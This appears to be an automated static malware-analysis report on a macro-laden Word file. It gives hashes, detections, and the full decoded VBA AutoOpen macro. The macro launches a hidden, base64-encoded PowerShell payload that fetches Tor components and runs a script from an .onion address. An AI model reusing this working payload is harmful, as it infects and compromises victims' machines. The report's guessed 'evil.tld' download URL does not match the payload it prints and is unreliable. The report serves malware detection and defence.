Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 197359c2adebb652…

MALICIOUS

Office (OOXML)

22.5 KB Created: 2014-04-06 23:18:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-22
MD5: 4877c3362f99ccec4e895c79c4429060 SHA-1: 99376c07c75f95ecca97505ee61a6fecb593cf1f SHA-256: 197359c2adebb6527a8e26cad7ff4f884f82aa1ef2ab8216d216979bfe1bc697
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell and references PowerShell. The script attempts to establish persistence by writing to the Run key at 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'. It also appears to download a second-stage payload from a reconstructed URL, likely 'http://evil.tld/payload.exe', for execution.

Heuristics 9

  • ClamAV: Doc.Virus.Pwshell-6755238-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Virus.Pwshell-6755238-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6632 bytes
SHA-256: 5edc83703b24312fde8765388ad0d574b03e7ab00c5cb6d860bab12dcfc39cdc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
b = "JwBMAFgAVQBuAGYAcQBuACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJwBKAGwAbgBsACcAOwAnAHIAWAByAFAARwBnAGcAYgAnADsAJABiAHkAIAA9ACAAKABnAGUAdAAtAHcAbQBpAG8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtAFAAcgBvAGQAdQBjAHQAKQAuAFUAVQBJAEQAOwAnAGsAagBFAHYAaQBzAE0AcgAnADsAJwBCAGwAdwBGAEsAegBIAGcAeAAnADsAaQBmACAAKAAoAGcAcAAgAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AKQAgAC0AbQBhAHQAYwBoACAAJABiAHkAKQB7ADsAJwBCAHIATwBaAFkATABGAFYAWQAnADsAJwBpAGgAegBuAGsAbgBmAHQAYwBSAEwAJwA7ACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBpAGQAIAAkAHAAaQBkACkALgBLAGkAbABsACgAKQA7ACcAZQBNAEIAbgBCAFcAQwAnADsAJwBDAGw" _
& "ATQBDAHYAbgBHAHoAJwA7AH0AOwAnAGsARgBxAGIARQBSAGoAYwBhAEsAJwA7ACcAYwBaAGQAZQBmAHYAJwA7AGYAdQBuAGMAdABpAG8AbgAgAGUAKAAkAG8AaABkACkAewA7ACcAZAByAFMAegBVAFMAcgBkACcAOwAnAEoAdgBGAGQAJwA7ACQAbQB0AGsAIAA9ACAAKAAoACgAaQBlAHgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AcQB1AGUAcgB5AHQAeQBwAGUAPQB0AHgAdAAgACQAbwBoAGQAIAA4AC4AOAAuADgALgA4ACIAKQAgAC0AbQBhAHQAYwBoACAAJwAiACcAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAIgAnACwAIAAnACcAKQBbADAAXQAuAFQAcgBpAG0AKAApADsAJwB3AEgAcABXAEkAUABaACcAOwAnAHIAWgBPAG0AeQBUACcAOwAkAGkAbAB1AGEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbQB0AGsALAAgACQAYgBxAHYAdAApADsAJwBLAHEAcgBQAFkAJwA7ACcAdABDAGcATQBzACcAOwAkAHcAcwAgAD0AIAAkAHgAeQB1AC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAGIAcQB2AHQAKQAuAEkAdABlAG0AcwAoACkAOwAnAEQAVgBSAFoAQwBNAFgAbgAnADsAJwBhAFYATQB1AEEAeQBtAEMARABvACcAOwAkAHgAeQB1AC" _
& "4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAGUAegBwAHIAKQAuAEMAbwBwAHkASABlAHIAZQAoACQAdwBzACwAIAAyADAAKQA7ACcATgBvAFkAYQBUAE0AZwBXAFYAJwA7ACcAVwBjAHoAbABhAGYARgBIAEkAJwA7AHIAZAAgACQAYgBxAHYAdAA7ACcAQQBKAGMAJwA7ACcAUgBsACcAOwB9ADsAJwBtAHcAUABWACcAOwAnAFgAWQBTACcAOwAnAGIAUwBSAGsATQAnADsAJwBHAEYAZQBaAEsAZQBNAHkAJwA7ACcAVgB0ACcAOwAnAGIAbABXAHYAeABFAFkAZABCACcAOwAkAGUAegBwAHIAIAA9ACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcACcAIAArACAAJABiAHkAOwAnAEgAVABDACcAOwAnAHoAZwBPAHcAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlAHoAcAByACkAKQB7ADsAJwBmAEEAWABLAGoAYQB1ACcAOwAnAGsARQBYAHgAJwA7ACQAdgBwAGoAcQAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAkAGUAegBwAHIAOwAnAEcAVwBTAGIAQQAnADsAJwB2AE8AdgByAGEAJwA7ACQAdgBwA" _
& "GoAcQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAIgBIAGkAZABkAGUAbgAiACwAIAAiAFMAeQBzAHQAZQBtACIALAAgACIATgBvAHQAQwBvAG4AdABlAG4AdABJAG4AZABlAHgAZQBkACIAOwAnAGEAbQBQAEMARwB5ACcAOwAnAEUASwBGAE0AJwA7AH0AOwAnAHMAQgAnADsAJwBSAFIAaQBJAFkAegAnADsAJwBiAHYAYwBDAGUAVABlAEwAVwAnADsAJwBOAGMATwBUAFkAbwBsAEMASQBCACcAOwAkAHYAdAB6AGcAPQAkAGUAegBwAHIAKwAgACcAXAB0AG8AcgAuAGUAeABlACcAOwAnAFIAbwBxAHMAdQBYAEUAJwA7ACcAZgBRAEcAQgBXAEcAdwB0ACcAOwAkAG8AdAA9ACQAZQB6AHAAcgArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcASABYAEsAcwBSAGkAdgBmACcAOwAnAG8AeQBuAE4AYwBlAE8AbgBGAHgAeQAnADsAJABiAHEAdgB0AD0AJABlAHoAcAByACsAJwBcACcAKwAkAGIAeQArACcALgB6AGkAcAAnADsAJwBEAEoAbAByAEIAQgBaAFMAJwA7ACcASABsAEIAWgAnADsAJABpAGwAdQBhAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACcAUQBE" _
& "AGMAcAB5ACcAOwAnAFEASgB4AGYAJwA7ACQAeAB5AHUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDACAAUwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuADsAJwB4AGUAUwB1ACcAOwAnAEIARQBKAGIAVQAnADsAJwBCAHQAbgBKAEsAVQBTAG0AJwA7ACcASAB1AEcAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB2AHQAegBnACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAbwB0ACkAKQB7ADsAJwBjAHgAagBCAE8AbQBaAHYARABrACcAOwAnAE4ASQBuAG4AJwA7AGUAIAAnAGkALgB2AGEAbgBrAGkAbgAuAGQAZQAnADsAJwBDAE8AWQBWAFgAUABEACcAOwAnAFEATABpAGsAVwBvAGQAVwBUACcAOwB9ADsAJwBuAGwASABTAGMASwAnADsAJwB0AEwAVgBXAHUAJwA7ACcARABHAFoASQBuAHMAdwBqACcAOwAnAGkAZQBhAHEAQgBuAFgAWABCAEwAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB2AHQAegBnACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAbwB0ACkAKQB7ADsAJwBUAGcAYQAnADsAJwByAFUARgBRAGkAJwA7AGUAIAAnAGcAZwA" _
& "uAGkAYgBpAHoALgBjAGMAJwA7ACcATABWAFMAcQBkAHMAJwA7ACcATQBrAGkAUwBRAEwAVgBKAHkAJwA7AH0AOwAnAHMARgBVAE0AdwBSAFEAagAnADsAJwBEAFoAJwA7ACcAZABiACcAOwAnAE4AbQBWAFgAagBaAGEATwAnADsAJABjAHYAZAB6AD0AJABlAHoAcAByACsAJwBcAHIAbwBhAG0AaQBuAGcAbABvAGcAJwA7ACcATABVAFAAcQAnADsAJwBnAEsAUQBnAEwAbQBZAGgAJwA7AHMAYQBwAHMAIAAkAHYAdAB6AGcAIAAtAEEAcgAgACIAIAAtAC0ATABvAGcAIABgACIAbgBvAHQAaQBjAGUAIABmAGkAbABlACAAJABjAHYAZAB6AGAAIgAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcAUABaAHgAbgBDAEkAJwA7ACcAcwBvAFMAeQBGAFMAeAB6ACcAOwBkAG8AewBzAGwAZQBlAHAAIAAxADsAJABiAGkAbQB5AD0AZwBjACAAJABjAHYAZAB6AH0AdwBoAGkAbABlACgAIQAoACQAYgBpAG0AeQAgAC0AbQBhAHQAYwBoACAAJwBCAG8AbwB0AHMAdAByAGEAcABwAGUAZAAgADEAMAAwACUAOgAgAEQAbwBuAGUALgAnACkAKQA7ACcATQBEAE4AaABvAFoAeABFACcAOwAnAEcAdQBNAHUAegBvAEMAdwBUACcAOwBzAGEAcABzACAAJABvAHQAIA" _
& "AtAGEAIAAiAHMAbwBjAGsAcwBQAGEAcgBlAG4AdABQAHIAbwB4AHkAPQBsAG8AYwBhAGwAaABvAHMAdAA6ADkAMAA1ADAAIgAgAC0AdwBpACAASABpAGQAZABlAG4AOwAnAGMAZgByAHcAUABjACcAOwAnAEQAbABuAHoAeQB2AHcAQgBZAFEAJwA7AHMAbABlAGUAcAAgADcAOwAnAFQAQQB0AFMAQwB5ACcAOwAnAE4AZwBUAGkAJwA7ACQAcQBkAGEAeAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5ACgAIgBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMQAyADMAIgApADsAJwBBAHgAcABrACcAOwAnAHkAWQBlAFAAdwB3ACcAOwAkAHEAZABhAHgALgB1AHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEsAYwBxAEwASABYAFgATgB4AFEAcwAnADsAJwBtAEIAVQBrAE4AZgB3AHMAZgBpAFgAJwA7ACQAaQBsAHUAYQAuAHAAcgBvAHgAeQA9ACQAcQBkAGEAeAA7ACcATgBuAFYAbABVAGEAagBjAGgAJwA7ACcAdABnAGkAegBBAEcAUgBDAEUAWABxACcAOwAkAHAAYgB0AHgAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAb" _
& "wByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAbQBvAG0APQAwADcANwA2AEIAMgAwADEALQA1ADEARABFAC0AMQAxAEMAQgAtAEEANwA4AEMALQA5AEMAMQBGADIANgBEADcANQBGAEIAOQAmAHUAaQBkAD0AJwAgACsAIAAkAGIAeQA7ACcAegBsACcAOwAnAHIASQBJAHYAQgBiAHkARgBuACcAOwB3AGgAaQBsAGUAKAAhACQAbgByAGMAYgApAHsAJABuAHIAYwBiAD0AJABpAGwAdQBhAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABwAGIAdAB4ACkAfQA7ACcAVgBXAE0AJwA7ACcAVQBBAHEAUwAnADsAaQBmACAAKAAkAG4AcgBjAGIAIAAtAG4AZQAgACcAbgBvAG4AZQAnACkAewA7ACcAeQB5AGUAWQBmAG0AeABwAHMAcwAnADsAJwBlAFQAJwA7AGkAZQB4ACAAJABuAHIAYwBiADsAJwBvAEQAJwA7ACcASgBxAEUAZQBzAEQAcABnAGIASQAnADsAfQA7ACcAWQBzAEcAagB6AGIATgBiAGgASQB3ACcAOwA="
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 28ec3edb26abeef45bf339f2537dcd6784a8bd6c9edf4fd2c086b4397adbcf09
Detection
ClamAV: Doc.Virus.Pwshell-6755238-0
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

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